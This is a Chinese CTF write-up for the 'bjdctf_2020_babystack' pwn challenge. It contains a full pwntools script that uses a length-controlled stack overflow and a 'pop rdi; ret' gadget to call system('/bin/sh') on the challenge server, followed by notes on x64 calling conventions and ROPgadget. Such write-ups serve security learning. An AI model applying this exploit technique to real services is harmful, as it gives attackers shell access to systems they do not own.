PWN刷题笔记——bjdctf_2020_babystack

这题没难度,但是为了搞清楚一些基本原理,所以水了一篇对大佬们来说没什么营养的博客qwq

有binsh,不错子,不过还是先看一下源码吧

懂了,先输入名字长度,再利用这个长度栈溢出

长度是0x18

exp如下

from pwn import *
context(log_level = 'debug')
elf=ELF("./bjdctf_2020_babystack")
p=remote("node3.buuoj.cn",28442)
bin_sh_str=0x400858
system_addr=elf.sym['system']
pop_ret=0x400833
payload=b'a'*(0x10+8)+p64(pop_ret)+p64(bin_sh_str)+p64(system_addr)
p.sendline(str(len(payload)))
p.recvuntil('name?')
p.sendline(payload)

p.interactive()

没什么大碍,只是写了这么多脚本,总感觉amd64-64-little的payload比i386-32-little要麻烦多了,却不知为什么。

尤其是那个pop_ret,今天花了点时间找别人的博客发现了问题所在。

  • 32位程序中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。
  • x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
fun(1,2,3,4,5,6,7,8,9);//当我们调用这个函数的时候
//x86传参的方式是这样:
push 9;
push 8;
···
push 1;
call fun;
//x64传参方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;
//————————————————
//原文链接:https://blog.csdn.net/weixin_43092232/article/details/104906434

和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。

有很多工具可以帮我们找到ROP gadget,例如Pwntools自带的ROP类,ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

有一说一直接拿国内的源pip不香吗

pip install ropgadget -i https://pypi.tuna.tsinghua.edu.cn/simple/

这下子整明白了。

最后,有一个很奇怪的地方。shellcode的长度是0x30(也就是48,提示是0x31因为有换行),讲道理长度应该大于等于48,但是实际情况下可以到46,我也不知道为什么

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇